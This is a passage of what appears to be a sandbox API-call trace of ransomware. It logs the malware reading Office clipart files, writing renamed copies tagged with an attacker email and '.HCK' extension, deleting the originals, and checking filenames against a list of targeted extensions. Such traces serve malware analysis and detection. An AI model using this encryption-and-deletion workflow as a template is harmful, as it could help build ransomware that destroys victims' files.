dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.576] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.576] GetLastError () returned 0x0 [0158.576] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0158.577] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0158.578] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.578] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.578] SetEndOfFile (hFile=0x380) returned 1 [0158.578] CloseHandle (hObject=0x380) returned 1 [0158.579] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.579] SetEndOfFile (hFile=0x390) returned 1 [0158.579] CloseHandle (hObject=0x390) returned 1 [0158.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString=".doc") returned 4 [0158.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString=".docx") returned 5 [0158.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.580] lstrlenW (lpString=".pdf") returned 4 [0158.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString=".xls") returned 4 [0158.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.580] lstrlenW (lpString=".xlsx") returned 5 [0158.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.580] lstrlenW (lpString=".ppt") returned 4 [0158.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString=".zip") returned 4 [0158.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.580] lstrlenW (lpString=".rar") returned 4 [0158.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString=".bz2") returned 4 [0158.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString=".7z") returned 3 [0158.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString=".dbf") returned 4 [0158.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString=".1cd") returned 4 [0158.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.580] lstrlenW (lpString=".jpg") returned 4 [0158.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString=".doc") returned 4 [0158.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString=".docx") returned 5 [0158.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.581] lstrlenW (lpString=".pdf") returned 4 [0158.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString=".xls") returned 4 [0158.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.581] lstrlenW (lpString=".xlsx") returned 5 [0158.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.581] lstrlenW (lpString=".ppt") returned 4 [0158.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString=".zip") returned 4 [0158.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.581] lstrlenW (lpString=".rar") returned 4 [0158.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString=".bz2") returned 4 [0158.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString=".7z") returned 3 [0158.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString=".dbf") returned 4 [0158.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString=".1cd") returned 4 [0158.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0158.581] lstrlenW (lpString=".jpg") returned 4 [0158.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.581] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.581] lstrlenW (lpString="EN00320_.WMF") returned 12 [0158.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.582] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=736) returned 1 [0158.582] CloseHandle (hObject=0x390) returned 1 [0158.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0158.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.582] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.582] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.583] GetLastError () returned 0x0 [0158.583] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0158.584] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0158.584] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.585] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.585] SetEndOfFile (hFile=0x380) returned 1 [0158.585] CloseHandle (hObject=0x380) returned 1 [0158.585] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.585] SetEndOfFile (hFile=0x390) returned 1 [0158.586] CloseHandle (hObject=0x390) returned 1 [0158.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".doc") returned 4 [0158.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".docx") returned 5 [0158.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.587] lstrlenW (lpString=".pdf") returned 4 [0158.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".xls") returned 4 [0158.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.587] lstrlenW (lpString=".xlsx") returned 5 [0158.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.587] lstrlenW (lpString=".ppt") returned 4 [0158.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".zip") returned 4 [0158.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.587] lstrlenW (lpString=".rar") returned 4 [0158.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".bz2") returned 4 [0158.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".7z") returned 3 [0158.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".dbf") returned 4 [0158.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".1cd") returned 4 [0158.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".jpg") returned 4 [0158.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.587] lstrlenW (lpString=".doc") returned 4 [0158.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".docx") returned 5 [0158.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.587] lstrlenW (lpString=".pdf") returned 4 [0158.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.587] lstrlenW (lpString=".xls") returned 4 [0158.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.587] lstrlenW (lpString=".xlsx") returned 5 [0158.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.588] lstrlenW (lpString=".ppt") returned 4 [0158.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.588] lstrlenW (lpString=".zip") returned 4 [0158.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.588] lstrlenW (lpString=".rar") returned 4 [0158.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".bz2") returned 4 [0158.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".7z") returned 3 [0158.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.588] lstrlenW (lpString=".dbf") returned 4 [0158.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.588] lstrlenW (lpString=".1cd") returned 4 [0158.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0158.588] lstrlenW (lpString=".jpg") returned 4 [0158.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.588] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.588] lstrlenW (lpString="EN00397_.WMF") returned 12 [0158.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.588] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17308) returned 1 [0158.588] CloseHandle (hObject=0x390) returned 1 [0158.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0158.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.589] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.589] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.589] GetLastError () returned 0x0 [0158.589] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x439c, lpOverlapped=0x0) returned 1 [0159.003] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0159.016] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.018] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.021] SetEndOfFile (hFile=0x380) returned 1 [0159.024] CloseHandle (hObject=0x380) returned 1 [0159.036] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.039] SetEndOfFile (hFile=0x390) returned 1 [0159.039] CloseHandle (hObject=0x390) returned 1 [0159.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.040] lstrlenW (lpString=".doc") returned 4 [0159.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString=".docx") returned 5 [0159.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.040] lstrlenW (lpString=".pdf") returned 4 [0159.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString=".xls") returned 4 [0159.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.040] lstrlenW (lpString=".xlsx") returned 5 [0159.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.040] lstrlenW (lpString=".ppt") returned 4 [0159.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.040] lstrlenW (lpString=".zip") returned 4 [0159.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.040] lstrlenW (lpString=".rar") returned 4 [0159.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString=".bz2") returned 4 [0159.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".7z") returned 3 [0159.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".dbf") returned 4 [0159.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".1cd") returned 4 [0159.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".jpg") returned 4 [0159.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".doc") returned 4 [0159.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".docx") returned 5 [0159.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.041] lstrlenW (lpString=".pdf") returned 4 [0159.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".xls") returned 4 [0159.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.041] lstrlenW (lpString=".xlsx") returned 5 [0159.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.041] lstrlenW (lpString=".ppt") returned 4 [0159.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".zip") returned 4 [0159.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.041] lstrlenW (lpString=".rar") returned 4 [0159.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".bz2") returned 4 [0159.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".7z") returned 3 [0159.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".dbf") returned 4 [0159.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".1cd") returned 4 [0159.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0159.041] lstrlenW (lpString=".jpg") returned 4 [0159.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.041] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.041] lstrlenW (lpString="FD00455_.WMF") returned 12 [0159.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.042] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8926) returned 1 [0159.042] CloseHandle (hObject=0x390) returned 1 [0159.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0159.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.042] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.042] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 